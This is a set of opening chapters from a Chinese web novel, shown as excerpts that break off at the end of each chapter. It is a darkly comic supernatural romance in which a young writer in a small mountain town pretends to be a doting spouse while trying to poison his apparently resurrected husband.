《经常死老公的都知道》 1. 楔子 《经常死老公的都知道》全本免费阅读 很难想象,一个像白唯这样的人竟然会在24岁时就堕入婚姻。 他站在心理咨询所的前台,握笔的手指纤细修长,细碎却整齐的刘海、带蕾丝花边的衬衫、长卷睫毛下琥珀色的眼睛和不见天日的肤色,都让他看起来像是个刚从贵族学校毕业的矜贵好学生。 好学生正用端正的字迹向表格里填入他的名字。 白唯。 婚姻状态。 已婚。 学历。 北都大学毕业。(这片国度里最好的大学) 工作状态。 作家,居家办公。 配偶职业。(如果有的话) 墨水在这里洇开了一小块,然后: 维修工人。 咨询目的。 笔记显示他在填写时毫无犹豫地下笔:婚姻咨询。 现在是下午三点三十分。护士很抱歉地告诉白唯,由于前一名咨询者的超时,他需要再等十分钟。她看着白唯的档案,偷偷观察这名看起来有点俊秀得过分、与雪山镇格格不入的青年。 很难想象,一名北都大学的高材生竟然会出现在这片除了民风淳朴之外,所有机构都毫无专业性,生活还单调得过分的小镇里。 “您是一名作家吗?”护士问。 “是。” 白唯看起来没有因为预约被延时而生气。 “我以为只有大城市里会出现这样有趣的工作。”护士难以掩饰自己对白唯的兴趣,这其实很不专业,“你是为了什么来雪山镇居住的?是作家特有的采风么?” “雪山镇毗邻雪山,空气清新。它对我的呼吸系统很好。我的丈夫也很喜欢这里。”白唯双手放在膝盖上。 “丈夫……哦我是说,您有一名丈夫。”护士又没能掩饰住自己的惊愕,这又体现了她的不专业。 白唯的一举一动都像是古老礼仪的化身。他身上每一道没有褶皱的衣物纤维都写着:我是优等生,而且还是名门出身,不是那种靠煤矿发家的暴发户,而是有传承、坐在长桌上吃饭的那种名门。作家,有礼貌,名门优等生,没有留在大城市,而是和一个男人私奔到鸟不拉屎的小镇(甚至那个男人还是个维修工人)。 所有人都会认为,像这样一名没有缺点的年轻人,不会过早地步入婚姻,并且有能力主导自己的人生,让它过得像是宣传画报里一样风调雨顺。可显然,这名年轻人踩中了命运的两重陷阱,一是过早地步入婚姻,二是无力掌控人生,以至于要来这座小镇上的唯一一所心理咨询室寻求帮助。 护士几乎在顷刻间,就完成了对整个剧情的脑补。 真是个可怜人啊! “韩默医生结束了他的看诊,我这就带您去他的咨询室。” 哭哭啼啼的浓妆女人推开玻璃门,提着红色小包,离开了这个让她伤心的地方。护士按住玻璃门,带她的下一名客人前往他的需求之地。 她看见白唯从暂候的沙发上站起来,抚平裤子上的褶皱,一切都那么无懈可击——那一刻护士的眼皮跳了一下,因为她完全没有注意到,那里竟然有一条褶皱。直到她带着她走路匀速的客人来到韩默医生的咨询室,将那两人留在房间里之后,那种如动物预感一般的危机感才涌上她的心头来: 我找不到理由,但这名客人的一切都让我觉得,有种危及生命的古怪。 咨询室的墙壁上挂着一枚时钟。韩医生从里间接水回来时,就发现年轻人正用他那玻璃珠一样的眼睛,盯着时针与分针看。 比起青年这个概念,白唯在他的容貌上保留了更多少年的特征,尽管他身材高挑纤细。他的下巴很尖,作为面部转折的下颌角线条柔和,有一对猫眼,眼眸里的瞳仁比起常人来说大很多。这些面容特征都让他在注视着某一物时,看起来乖巧又认真。 现在,那双眼睛转而看向他了。 韩默骤然间有些心虚。他用手背擦了擦脸颊,希望白唯没有看见之前那名患者在他脸上留下的唇印。 “韩医生,我们是从现在开始咨询么?”白唯问。 “是的。很高兴见到你。”韩默说,他不会告诉白唯,刚才他是借着喝水的名义,去里间里又翻看了一遍白唯的资料。 “好的。”白唯看起来有些拘谨,“现在是下午三点四十二分,比起我们之前的约定,已经迟到了十二分钟……” “哦,关于这一点我很抱歉。我花了太多时间在之前那位女士身上。不过我们的一小时咨询时间依旧有效,我们持续到下午四点五十可以吗?你是我今天的最后一名客人。”韩默认为自己很富有幽默感地在眨眼。 “是四点四十二分。韩医生。我有些担心自己赶不上丈夫下班的时间。”白唯道。 吹毛求疵的控制欲——就在一瞬间,韩医生依据自己的经验,对这名年轻人婚姻失控的原因轻蔑地下了判断。 “好的,四点四十二分。您有开车过来么?如果您没有开车过来,我可以捎您一程到家。”韩默道。 白唯握着水杯,不再说话了。 在咨询即将开始前,白唯提出了一个新的问题:“韩医生,我想知道,您是否专业?” ——所有咨询新手会提出的问题,这体现出了白唯内心的虚弱和不自信。韩医生再度判断。 “你可以看柜子上的那些奖章与证书,这足以证明我的含金量。”韩医生很自信,为了这些证书,他花费了足足伍万元。他能保证,这是市面上最高规格的仿品。 人们可以不相信大学四年学到的专业知识,因为大学生总在摸鱼,依靠作弊获得虚伪的分数,在期末考结束后忘记书本的每一页。但购买假证书的每一张金钱都是实打实的,比代人签到的每一节课都要真诚。在这个层面上,韩医生已经在thenextlevel。 白唯的眼睛转到了证书们的方向。他盯着那里看了很久,不知怎的,在再次对上白唯眼眸时,韩默有点毛骨悚然的感觉。白唯琥珀色玻璃珠一样的眼睛让他有种被看穿了的错觉。 “我现在放心了,韩医生。”白唯说。 ——他伪造简历的事怎么可能被白唯看穿呢?尤其只是这么一眼!韩默再次嘲笑起自己的杞人忧天。出于对方才想法的掩饰,他拿出一只藏蓝色的钢笔,打开自己的笔记本:“白唯——我可以这样称呼你吗?或者,你有什么更喜欢的称呼呢?” “白唯。我不喜欢其他昵称。” “好的白唯。你今天来这里的目的,是为自己的婚姻做咨询吗?”韩医生循循善诱,“你在自己的婚姻中,是感受到了什么问题吗?” 沉默。 韩医生并不意外。很多咨询者都是不善于形容自己的问题的,或者说,不善于打开自己的心房、有戒备之心。他转而旁敲侧击,拉近和白唯之间的距离:“你是一名作家,是吗?” “是的。” “你喜欢自己的工作吗?你之前说,你是一年半前搬来这座小镇的,这对你的工作有积极的影响吗?” 作家这种人多愁善感,激素分泌旺盛,情绪化,总是容易在婚姻里出现问题。韩医生又下了一个判断。 “对于搬来小镇这件事,我并没有什么意见。一直以来,我总是在居家工作。每周五,我用传真机,把一周的成果传给我的编辑,这就是我要做的事。除此之外的时候,我都待在家里。”白唯 2. 幸福的生活从一个决定开始 《经常死老公的都知道》全本免费阅读 半年前。 “致白唯。” “距离我们上次见面已经过去一年半了。我中断了我的考试,为了你这个发小,千里迢迢跑回老家,参加你和那个幸运得该死的家伙的婚礼。结果,你和那个家伙在婚礼前竟然私奔了?没有出席自己的婚礼?害得我像个白痴那样傻傻地站在那里,听着你家那些老头子的咆哮声…… 当然,我最终也理解了。这应该就是你想要的,从小到大,你都深深地被压抑在你祖父的控制之下,不是吗。能和心爱之人结婚,脱离自己的原生家庭,从此拥有开启新的幸福人生的权力……想想我还真是嫉妒。当然,是嫉妒那个幸运的、与你结婚的人。(划掉)” “但一年半过去了,你不怎么回复我的信息,不在社交媒体上发布新消息,只有编辑部收到的新稿子显示你还活着。我从你的编辑那里打听到了你现在的地址,把这封信寄给你。你过得还好吗?是忙于幸福所以打算隔绝对外界的交流了吗?” “无论如何,我都想知道你如今过得怎么样。从小都认真、专注、完美的你,如今也一定坚持着自己的每个决定,过着很完美的人生吧,可你现在就像是生活出了什么问题一样。当然,如果你的生活里有什么烦恼的话……如果可以有的话……请你不要犹豫,给我发消息。” “即使你已经结婚,也是你永远的朋友的——李愿。” 白唯在门口的长椅上读完了这封信。他手指苍白,神态厌倦,在邮递员好奇打探的目光里把那封散发着大地香水味的信折起来,放进自己的口袋里。 “这是你在大城市里的朋友寄过来的信吗?我第一次看见这么精美的信封。”邮递员八卦地问。 “嗯,是以前的朋友。”白唯客气地说。 就像不愿在邮递员面前透露一分一毫的信的内容一样,白唯也绝对不可能向担心到寄信过来的、他的发小李愿透露一分一毫的他如今的烦恼,或是在与“那个人”“私奔”之后,一切乱了套的人生。白唯被他的祖父养成了一个很传统的人,李愿是他的发小,李愿的祖父和他的祖父是世交。 也就是说,李愿知道的东西,也很容易会让他的祖父知道。 白唯在回家前于菜摊购买了做番茄汤的材料。老板娘看见他,觉得此客稀奇。她打探道:“白唯,你这段时间经常来买菜,是在锻炼自己的厨艺吗?” “嗯。”白唯说,“我想我总该学着适应小镇上的生活的。” 老板娘于是舒心地笑了。她宽和地看着白唯,就像看着迷路的小羊羔:“是呀,要多做饭,有菜香味,两个人的家里才有家的感觉。你和卢森搬过来已经半年了吧?在那之前,你们都是在吃外卖。” 白唯说:“嗯……卢森总是提着外卖回来。” 老板娘于是又笑了。她挑了几个最饱满的番茄,神神秘秘地对白唯耳语:“我之前听见有人说你和卢森的关系其实很冷淡,不像你们在外人面前表现得那么出双入对。我当时就觉得这个说法不靠谱——如果关系冷淡的话,你们两个人怎么会一起搬到这么漂亮的小镇上来,还全款买了一座那么大的房子,对不对?而且,我听卢森说过,你们两个人是从大家族里私奔出来的,好浪漫的感情啊……” 白唯努力维持脸上的平静:“到底是谁这么说的?我和卢森的关系很好。我们也筹划最近出去旅游一趟,就我们两个人。” “双人旅行?这很好呀。人和人的感情都是相处出来的,夫妻之间也是。婚姻需要经营嘛。”老板娘将红果实递给白唯,露出了经验者传递经验的胜利表情。 番茄,胡萝卜,洋葱,牛肉,用以煲汤的东西被整齐地放在餐桌上,然后被煮进汤里。白唯站在洗手台旁,看着镜子里的自己。 不,其实老板娘听见的传言都是正确的。 他和卢森的关系的确很冷淡,很古怪,并终于到达了让白唯无法忍受的地步。而且白唯是一个很传统的人,他忠于婚姻,这意味着他没办法接受“离婚”或“出轨”这件事。 不过很快这一切都要结束了。因为他马上就要丧偶。 白唯对镜子里的自己笑了一下——看起来他只是冷淡地扯了扯嘴角。他又弯了弯眼角——看起来他只是在面露凶光。他于是不得不打开手机,再一次查看他已经查看、学习了许多遍的直播节目。 “如何让你的丈夫感到温暖”。 “如何做一个讨人喜欢的娇妻”。 白唯可以用自己的学位证书发誓。他绝不是出于挽回婚姻的目的才这么做的!他做这些,只是为了让自己的炖汤显得不那么可疑不是吗。他和卢森之间已经冷淡很久了。他们不一起起床,在同一张桌子前独立地吃着外卖,在睡觉前也从来不做/爱。他们和一对同床共枕的陌生人没有任何区别。换位思考,白唯也绝不会在这种情况下,喝下卢森冷着脸为自己端来的番茄汤。 所以白唯知道,自己一定要做一个娇妻——至少是装成一个娇妻,只有这样他才能获得在不引起老公的戒心的情况下干掉老公的机会。 在观看了五遍节目后,白唯又调整了自己的表情。这次他被镜子里的自己吓了一跳。 “高兴。” 镜子里俊秀青年微微一笑,眼波盈盈。 “害羞。” 镜子里俊秀青年低下头,粉面含春。 “委屈。” 晶莹泪水挂在了白唯长长的睫毛上。 这些表情看得真叫人恶寒。若是他从前的朋友同事看了,非得被吓一跳不可。白唯冷着脸回到厨房。 不过还好,就这一天。 白唯按照视频里的氛围攻略开始布置餐桌。视频没有详细教导他该怎么布置这些氛围,只说“就像家里那样”。 家? 白唯从小和祖父一起吃饭。餐桌很长,祖父坐在这头,他坐在那头。即使如此,祖父依旧能眼尖地注意到他每一个不合礼仪的举动,并大声地呵斥他。他住在他母亲从前的房间里,祖父不允许他改变房间的任何一个设施。他从来没有过布置“家”里的餐桌或房间的机会。 但白唯神色冷酷,他告诉自己,他是不会被这点困难打倒的。他搜了搜网上的图片,想到一个方案。 他从钢琴上扯下琴行老板赠送的蕾丝琴罩,用它当桌布让餐桌显得温馨,又从电视柜里翻出一只蜡烛。餐桌有了个样子,红汤也在锅炉上汩汩地冒着泡泡,香味馥郁飘散。白唯从小到大从来没有在自己的家里、单身公寓里,乃至现在的这座房子里闻见过这样亲手烹调的、新鲜浓郁的食物香气。而如今,它竟然是为了送罗森“回去”而存在的。 就在白唯思考如今的餐桌像不像一个温馨的“家”时,门口的门铃响了。 身材高大的男人在监视器里出现。白唯身高181cm,已经足够高挑,可这个男人的身高看起来足有一米九几。男人的五官俊朗得就像古希腊雕塑一般刀刻斧凿,能让街上所有的女人男人为之倾心。甚至初次见面时,白唯也觉得这张脸很不错——尽管他在那时就实在不明白,他那传统的祖父怎么会安排一个男人和自己相亲。 但很快,白唯就发现了这个男人身上许多的、让他无法忍受的特点。比如现在。 监控器里,男人在按了门铃后,回头看了一眼。而后,他又看一眼门,再回头看了一眼——就像间谍的反侦察工作一样。白唯难以理解这个和自己门当户对的“丈夫”怎么会有这样的习惯,就像他曾经生活在一个随时都会被攻击暗杀的环境里一样。如果不是他的祖父认可了卢森的身份,而且卢森从他第一次见到他时就一直是这个样子,白唯甚至会怀疑自己的丈夫被谁给取代过。 但现在,这些都无所谓了。 “我今天出门时忘记带了钥匙……” “欢迎回家。”白唯说。 卢森抬头时明显愣了一下。他看见他向来冷淡的妻子气喘吁吁地站在台阶上,白皙脸颊上还带着一路跑过来的晕红。客厅里不断飘来番茄汤的香气,一张粉色荷叶边的围裙正系在白唯纤细的腰上,看上去不盈一握。 白唯一直很瘦,就像从来不肯好好吃饭一样。因此身材高挑的人这样做也并不违和。见卢森看向自己,白唯垂下睫毛,露出有些紧张的样子。如果此刻他睫毛上有露珠,想必一定摇摇欲坠。 “我……”卢森试图询问他。 “你先换鞋吧。”白唯说。 白唯又跑回室内,从客厅里拿了个小板凳过来。在路过全身镜时他又看着自己深吸了一口气。教程里说,可以给丈夫蹲下来换鞋。 这是不可能的,甚至是绝对不可能的。让他给卢森拿个小板凳已经是极限了。光是这个举动,就让他忍不住想往汤里再加两克砒霜。 但显然,他和卢森之间毫无默契。等白唯拿着小板凳回来时,卢森已经换掉了鞋,一整个站在玄关里。白唯的额头上当即爆出了一根青筋,觉得自己辛苦白费,想把板凳砸到卢森的脑袋上。 卢森被板凳砸脑袋,是会被爆头的吧?血液会顺着脑袋的裂缝流下来,落在他那张讨人厌的嘴上…… “你怎么……”卢森又试着询问。 白唯意识到自己的目光太过强烈。他垂下眼眸,有些哀切道:“你怎么自己换鞋了呀,我白白给你拿了换鞋的小板凳过来。呜……” 装哭不出来。 卡住了。 被卢森疑惑的目光注视着,白唯觉得自己快要破功了。但很快,卢森说:“把板凳给我。” “哦……”白唯把板凳给他,并由于自己刚才的想象,有些紧张地看着板凳在卢森手里的作用。 应该不会用来砸他的脑袋。 板凳有点小,卢森一个大个子坐在板凳上,有些滑稽。但他脱掉了拖鞋,又穿上了刚才进门穿的短靴。而后,他又脱掉短靴,穿上刚才的拖鞋。 白唯:=口= 白唯陷入沉默,卢森则泰然自若地站起来:“走吧。” ……这算什么,嘲笑?做戏?白唯独自看向全身镜时,表情又变得冷淡阴郁。可在面对卢森时,他的表情又变得温柔开朗起来。他把卢森的外衣挂在脏衣架上,嘱咐他去洗手,又把番茄汤舀了两碗,一碗放在自己的面前,一碗放在卢森的位置前。 他记得很清楚,卢森的那碗是有毒的,自己的这碗是无毒的。借着,他用打火机点燃了蜡烛。 烛光摇晃中,卢森回到了自己的座位前。他穿着干净的家居服,洗干净的双手也很干净。白唯看着烛光后卢森干净的脸,第一次觉得这场婚姻也有让他身心舒畅的时候。只是卢森低下眼,对着面前的汤又发出提问了:“这是……” “番茄汤。”白唯又补充了一句,“我亲手做的。” 卢森用疑惑的眼神看着他,再度。 白唯不擅长直视着人撒谎。他双手捧着自己的小碗,垂眸注视着汤里的漩涡道:“我是想……卢森,我们已经结婚一年多……” “十三个月零十五天。”卢森说。 这个人有必要把日期记得这么清晰么?! “好的,十三个月零五天。”白唯从善如流,“可我们好像一直都没有过上比较正常的婚姻生活。在半年前搬来这里后,你忙着修车店的事。我也在家里忙着我的事。我们好像很久没有一起这样吃过饭, 3. 数着心跳入睡 《经常死老公的都知道》全本免费阅读 这个夜晚,对于卢森来说,是一个充满了意外的夜晚。白唯在玄关迎接他,为他下厨,和他一起躺在沙发上看电视。白唯缩在他的怀里,时不时地抬头看他。他那样在意他,就像目光时刻也不肯离开他一样。 就像一只粘人的小猫。 卢森怀疑这一切是不是真的,怀疑此时此刻对于人类来说,是否应当感到“幸福”。卢森不是哲学家,却觉得世界在一瞬间变换了模样。或许除了人类的文学与艺术书籍,他也该阅读一些哲学书籍。 但这个夜晚对于白唯来说是另一个模样。 两至三小时……已经四个小时过去了。卢森怎么还活着? 这一夜,白唯躺在卢森身边入眠。他们的床很大,但从来没有在上面进行“运动”的机会。白唯性冷感,并不清楚卢森是否也是。但即使如此,白唯也会在睡觉时躺在床的角落里,二人之间隔着楚河汉界,好似分庭抗礼。 而现在,他紧紧地贴在卢森身边。 “晚安,亲爱的。”卢森在拉灯时如是说。 “晚安,老公。”白唯说。 无论说了多少次,这个称呼总会给白唯一种强烈的羞耻感。然而,唯独这个称呼是让卢森感到高兴、并闭嘴的好办法。 白唯靠在卢森的身旁。睡觉不打鼾、连呼吸声都不太有是卢森为数不多的(对于白唯而言)优点之一,可现在却成了白唯的大麻烦。 但夜深人静之时,心跳声竟然会变得无比的清晰。白唯闭上眼,假装睡着,默默地数着卢森的心跳。 一下、两下、三下…… 他的耐力一直都很好。 终于在午夜十二点时,白唯听见了心跳停摆。 那一刻,在如释重负的同时,白唯又有些茫然。 现在不是茫然的时候。他和卢森只是这座小镇上的外来人,谁会注意到他们的到来和搬走?他会以结婚一周年旅行为由,带着卢森离开这里。这四周都是深山,他会很容易就把卢森处理掉。或者带卢森回到那不勒斯……反正卢森的第一次下葬就是在那里。 但之后他要去哪里?在摆脱了死而复生的丈夫之后? “去北都,或者回黑港吧。”他告诉自己,“冷冰冰的北都,混乱的黑港,那才是属于我的地方。” 他闭着眼一动也不动。在默数了两分钟后,白唯正要坐起身,却发现…… 身边的人坐起了身! 白唯不敢相信自己的耳朵。卢森从床上坐了起来,他捂着肚子,有些跌跌撞撞地走进了厕所。白唯在里面听见了放水的声音和洗漱的声音,持续了十余分钟。 卢森是在腹泻?他不是应该已经死了吗? 白唯从床上爬下来。那一刻他好像又闻到了一股奇怪的味道……就像是他在那不勒斯看见卢森被流弹射死,卢森被放在棺材里埋葬时,那具“栩栩如生”的尸体上传来的味道。就像是深邃的、神秘的、漂浮着薰衣草的海水。 那时他看着被土壤掩埋的棺材,告诉自己既然人已经死去,一切欺骗和隐瞒也应当一笔勾销。他换了一身纯黑的衣服,戴着黑纱离开那不勒斯,卢森却出现在离开的机场。后来当他咨询医生时,医生是这样说的。 “世间的确存在人‘死而复生’的案例。或许那时你的朋友只是陷入了‘假死’状态。在他醒来后,他离开了棺材,又找到你和你相聚。你难道不该为他的努力而喝彩吗?” 可那棺材是钉死的……然而在那之后,白唯没有回到那不勒斯的机会,因此也没有检查棺材的机会。 现在,他曾在棺材旁闻见的、薰衣草海水的味道又来了。 上一次闻到这股味道时,他在棺材边控制不住般地潸然泪下。而现在,他站在地上,看着自己“丈夫”的黑影从洗手间里出来,自己无法动弹。 逆光的、让人看不清五官的卢森低下身,捧住他的脸:“怎么从床上下来了。” 那种浓郁的味道让白唯昏昏沉沉开口,不自觉地说出了自己的心里话:“想看看你现在怎么了。” 男人粗糙的大拇指摩擦着他的脸颊:“没睡好吗?在想什么?” 白唯说:“我……在数你的心跳。” 大拇指停顿了一会儿,男人用极尽掌控的姿态抱住他,又柔声问他:“你晚上为什么一直看着我?” 白唯说:“我不想让你离开我的视线……” 薰衣草的味道太浓郁,让意识都不明晰。这一切都是白唯的真心话。就在此刻,海水里的薰衣草味消失了。 取而代之的,是男人用力地抱着他,像是要把白唯揉进他的骨头里。白唯从小到大都是模特身材,在身高上颇引人注目,很少有人比他更高。可卢森比他还要高一头,把他用力抱在怀里时,就像是抱着一只漂亮娃娃一样,一切关节都在卢森的掌握之中。只要卢森愿意,他想让他摆出什么姿势,就是什么姿势。 于是此刻白唯有些无法呼吸了。这种充满掌控力的姿势让他动也不能动,卢森的味道铺天盖地地渗在他的每一寸骨骼里。他想要推开他,手却使不上力气。就在此时,他听见卢森闷闷的声音。 “对不起,刚才那是受到威胁时的本能生理活动。我以后再也不会对你用这一招了。” 卢森好像有点愧疚。 白唯却没听到这句话。他真的要窒息了,用尽全身的力气拍卢森的背。 好在,卢森终于放松了他的手。尽管他说:“即使这时,你还在安慰我、抚慰我……” 白唯大口大口喘气。神智恢复时,他已经被卢森抱起来了。那时白唯想起这个姿势是人们常说的“公主抱”。那一刻,他感到惊恐。 从来没有人敢这么对待他! 白唯从小便习惯离群索居。他性格孤僻矜贵,家教严苛,难以理解常人的感情。他没有什么朋友,也很少有人敢和他开玩笑。成年后,也有不少人爱慕过他。那些人大多是女性,也有部分男性。 他的爱慕者们只敢在远处看着他,连狂热追求他也不太敢。就连他的竹马也曾这样开玩笑似的评价他:“从我十岁那年看见你从街道上捡小动物尸体回去做标本时开始,就怀疑你长大后会是个连环杀手。” 因此,被人像之前那样拥抱,被人这样抱起来,是他人生中的第一次。 白唯抓紧了卢森的睡衣衣领,身体僵硬蜷缩着,怀疑对方要把自己扔下楼。可卢森看他如此蜷缩,只觉得他比平日里看起来还要依赖自己、还要惹人怜爱。 他很可爱。卢森想。他一直看着自己,在夜里偷偷数自己的心跳,听见自己下床,就担心地跑下来看。是在担心自己肚子痛吗?还是害怕自己在和别的人发消息? 白唯简直就像一个天真又纯爱的少女。 本能让他想要知道白唯的一切。就像章鱼喜欢缩进小瓶子里,他也想缩进白唯的身体里。于是,他方才紧紧拥抱了白唯,就像他拥抱过去的一切收藏品。但很显然,他忘记了白唯像所有人类一样需要呼吸。此刻白唯鼓鼓的、不断呼吸的胸膛,和泛着泪花的红色眼角,就是白唯缺氧的证明。 而且,他发现自己很喜欢白唯现在的模样,这样鲜活、这样可爱。他说话时睫毛的颤抖,叫老公时通红的耳根,喝汤时鲜红的舌尖,滴着眼泪的苍白脸颊,还有这样被欺负的模样。或许,除白唯在努力之外,他也应该努力。他应该查阅资料,学着做人类里的好丈夫,知道更多夫妻之间应该好好做的事,并换别的办法看见白唯现在的情态。 既然自己的妻子也喜欢自己……卢森觉得自己不介意将这场完美家庭的剧本更好地演下去。 白唯被卢森抱回床上。他们同床共枕的姿势变得更加不拘谨。卢森侧躺向他这边,把呼吸打在他的后颈上,白唯就像一只大型毛绒玩具一样,严丝合缝地躺在他和他们的被子之间。 这让他头皮发麻。 卢森的气息,他后颈敏/感的皮肤,动一下就会被对方发现的姿势,这一切都让白唯如坐针毡。他不得不把思维放在别的事情上,比如——卢森为什么没有死。 ——一定是药过期了。 这是第二天早上,一夜未眠的白唯得出的结论。 他在天亮之后熬不住生理钟,迷迷糊糊地睡了一会儿,醒来后身边空空荡荡,已经没有了卢森。白唯看了一眼枕边的闹钟。 早上九点半。 卢森的离开很正常。在半年前搬来雪山镇后,卢森在镇上开了一家修车店,每天八点半到九点去上班。他们在早餐时也不怎么见面。因为白唯起得更早,在吃完早饭后就把自己关进书房里写作。两人的日程于是处于一种彼此岔开的状态。现在这个点,卢森应该已经在他的修车店里了。 床上被子乱糟糟的。白唯叠好被子,并从枕头上收集了他们昨晚落下的头发。在走向洗手间后白唯又发现了让他无法忍耐的事。 洗手池上竟然有水渍,地上也有,镜子上也有。 显然卢森没有把一切收拾干净! 显然他今天得想新办法弄死卢森。昨天的药没有用。他得出趟远门,把那些过期的药物处理掉,再弄点新的道具回来。可下楼时,白唯开始怀疑自己的眼睛。 餐桌上摆着一束黄白色的菊花,一篮子面包,还有一壶鲜牛奶,除此之外,还有一个站在灶台前,手里拿着锅和鸡蛋的卢森。 卢森围着白唯昨天穿的粉色围裙。他笑容满面,对穿着家居服的白唯说:“早上好!” 这异常的一切让白唯一个激灵。 “宝贝,你先在餐桌上坐着,我给你煎个鸡蛋。”卢森说着,露出他身后的平板。电视剧里,女主正在给男主煎鸡蛋。 白唯:…… 他坐在餐桌前,觉得这一切都太过异常了。卢森显然很高兴。他把鸡蛋打进平底锅里,用油煎,甚至还哼着广告里的歌。白唯看了一眼面包,又看了一眼牛奶——忽然觉得这一切很熟悉。 这壶牛奶里不会有什么可疑的沉淀物吧? 只靠肉眼,白唯很难辨别。但白唯不是坐以待毙的性格。他进入厨房,余光关注卢森的一 4. 那东西绝对碎了 《经常死老公的都知道》全本免费阅读 白唯握着面包,一时间进退两难。他举起面包,对卢森甜甜笑道:“老公,你先吃。” “亲爱的,你先吃,我再吃。”卢森说。 难道是因为刚才那个笑不够甜,不够可怜? 白唯转变攻势策略。他露出了自己这辈子最可怜的表情,看着卢森:“老公,你为什么非要我先吃呀?” 这话说得他浑身发冷——主要是被自己恶心到了。 卢森的回答更斩钉截铁,甚至差点没让白唯厥过去:“亲爱的,我想吃你吃剩下的。” 白唯觉得自己差一点就要晕过去了。 他维持着娇妻的笑容,观察卢森,想知道对方是演的还是真的。无论如何,他觉得自己能确定卢森此刻不安好心。但如果卢森想给他下毒,却反被自己的毒/药毒死的话,这未尝不是一种更好的选择。 心中一动。白唯把面包放在餐盘里,又把自己的餐椅拖到了卢森的边上。 卢森疑惑地看着他。 白唯心一横。他坐在卢森边上,用餐巾擦干净手。而后,他仰起头,伸手抱住卢森的脑袋,把嘴唇凑了上去。 这是一个带着牛奶和面包香气的……来自白唯的亲吻。 这是卢森第一次吃到白唯的嘴唇。他们也曾经嘴唇碰过嘴唇,不过都是蜻蜓点水一下,也只是出于卢森扮演白唯的“未婚夫”或“丈夫”的需求。卢森从来不知道白唯的嘴唇竟然这么软,像果冻,没有涂口红也粉得润泽,喝了牛奶就变得亮晶晶的。他试探性地咬了一下,发现果然很软,还有白唯特有的香气。而且他不知道白唯的舌头和牙齿是否也是这么软。他很想尝试一下。 这个人怎么还得寸进尺的。在卢森探入深处之前,白唯挥开了卢森要抱住他后脑勺的手。他已经整个人陷入卢森的气息里了,现在不需要陷入更多。卢森身上骤然腾起的充满侵占性的气息更让他觉得不妙。 目的已经达成,卢森已经张口。他眼明手快地脱身,把餐盘里的面包塞进了卢森的嘴里。 他一只手打在卢森脸颊上,另一只手更快,捂住卢森的嘴巴,迫使他把面包吞下去。 白唯不知怎的,心情就很好。这次他露出的笑容甚至不是装的:“老公,我说了让你先吃的。” 或许是因为胜利了,“老公”两个字都叫得心甘情愿。 卢森瞪大了深灰色的眼睛。英俊的男人被他把脸捏得变形,十分惊讶地看着他。白唯没有松手,冷酷地等他把面包吃完。 那种高傲矜持的神色又回到了白唯身上。无所谓,即使是反应过度,他也大可以告诉卢森,说这只是个玩笑。白唯说:“卢森,你让我吃的东西,还是你自己吃完吧。” 他丝毫不知道自己这副神情会引起人怎样的征服欲。 感觉卢森已经把面包吃完。白唯松开自己的手。他这时忽然意识到,他竟然把自己的手直接抵在卢森的嘴上——这是洁癖的他绝对不肯做的事。正当他想要把手收回时,手心却被凉凉的东西舔了一下。 然后,还被咬了一下。 白唯:…… “亲爱的。”卢森咬着他的手,眼睛像是一只充满占有欲的冷血动物,“你的手和你的嘴唇一样软。” 白唯向后退两步,可他没来得及摆脱他——卢森伸手捉住他的后颈,把他按在了自己身上。他从来不知道卢森的力气竟然这么大,而且卢森体型胜过他,让他想要反抗都不行。他发出抗议的声音,然后就被埋在了嘴里。卢森的嘴靠近了他。先是在椅子上,然后又挪到了沙发上。 他一定是想要借机毒死我——! 这是飘在白唯脑袋里的一句话。 卢森终于吃了个透,吃了个够本,也总算感受到了白唯的嘴唇和果冻还有面包的区别。而白唯却快要窒息了。 “我忘了。”卢森跪在沙发上,压着他,捏着他的下巴说,“你需要呼吸。” 白唯瞪着他,眼角一片红,眼里泪光莹莹。他知道如果那只面包里有毒的话,此刻的他已经无力回天,只能和卢森一起下地狱了。 所以那只面包里大概是没有毒的?那卢森到底是想干什么? 因缺氧而迟钝的脑袋里又回荡着这句疑问。卢森第一次看见白唯这种被欺负得呆呆的模样,觉得很可爱,又骑身上来,开始了下一轮亲吻。 直到两人彻底分开,嘴唇和舌头都在疼时,白唯才终于想到了一个可能。 难道卢森就是想要吃他剩下的东西? 难道卢森就是想要亲他? 难道卢森就是…… 嘴里火辣辣的。白唯拼了命地吸气呼气,给自己供氧。卢森的身上永远有一股海和森林的味道,留在他嘴里的味道也是。可他惊恐地扫着嘴里的余味,害怕有尸体腐烂的味道。 他永远记得,卢森被流弹击中了——下葬了——在棺材里——就在那不勒斯。他亲眼看见卢森烂了一半的脑袋,闭着眼的苍白的脸,穿着裹尸袋的一整具尸体。他不可能忘记、不可能看错那一幕。死而复生的卢森在和他接吻……和他深吻…… 而且他还…… “好奇怪。”卢森说,“拥抱着你,我有一种奇怪的感觉。” 两人贴得太近,刚才白唯也感受到了。他近乎恐惧地低头看着卢森的那个位置。 好恐怖的尺寸……不,那是死人的东西…… 忽然间,在黑港城的一段记忆涌上了他的心头。 卢森也和他一起看向了同一个位置。男人的表情充满了研究和探寻:“这是什么反应?这是什么意思?” 白唯夹紧了双腿。应激般的恐惧如潮水把他吞没,他不由自主地、颤抖着说:“放开我……” 卢森又看向他了。他仔仔细细的眼神像是要看透白唯的每一寸肌肤:“你在害怕我吗?为什么?” 可他身上那种强烈的、侵占性的气息还在。就像大型猛兽追逐着自己的猎物,白唯无比确信,此刻那双深灰色眼眸里的自己就是他的盘中餐。突然爆发的、强大的战斗欲涌上心头。他猛地手臂用力,一把推开了卢森。 卢森这一下子被推得猝不及防,向后一仰。白唯连滚带爬地缩到沙发的另一边。这一刻,他听见一声清脆的撞击声。 “咚。” 是头骨与地面碰撞发出的、强烈的敲击声。任何人都能凭借经验听出,那东西绝对碎了。 白唯就在那一刻愣住了。 他看向地上躺着的、像是一座高山一样一动不动的男人,激动的红晕退去,苍白 5. 该死的幸运鬼 《经常死老公的都知道》全本免费阅读 刚才太慌张了。白唯没有摸太久卢森的呼吸和脉搏。或许对方刚才是一下子撅了过去,心脏暂时停摆。因此,白唯就很难解释,他为什么第一时间扔下了昏迷的丈夫,匆匆跑到后院来销毁东西。 如果让卢森发现“花肥”的话…… 白唯闭了眼,转身时已经是一副泫然欲泣的模样,扑到了卢森的怀里。 “老公!”他哭着说,“我以为你死了!” “我想跑出门,去找住在后街上的医生。可我忘记了后院没有门。”白唯哭哭啼啼地说,“对不起,我不是故意的,我看见你躺在那里,没有呼吸,我以为你要死了……” 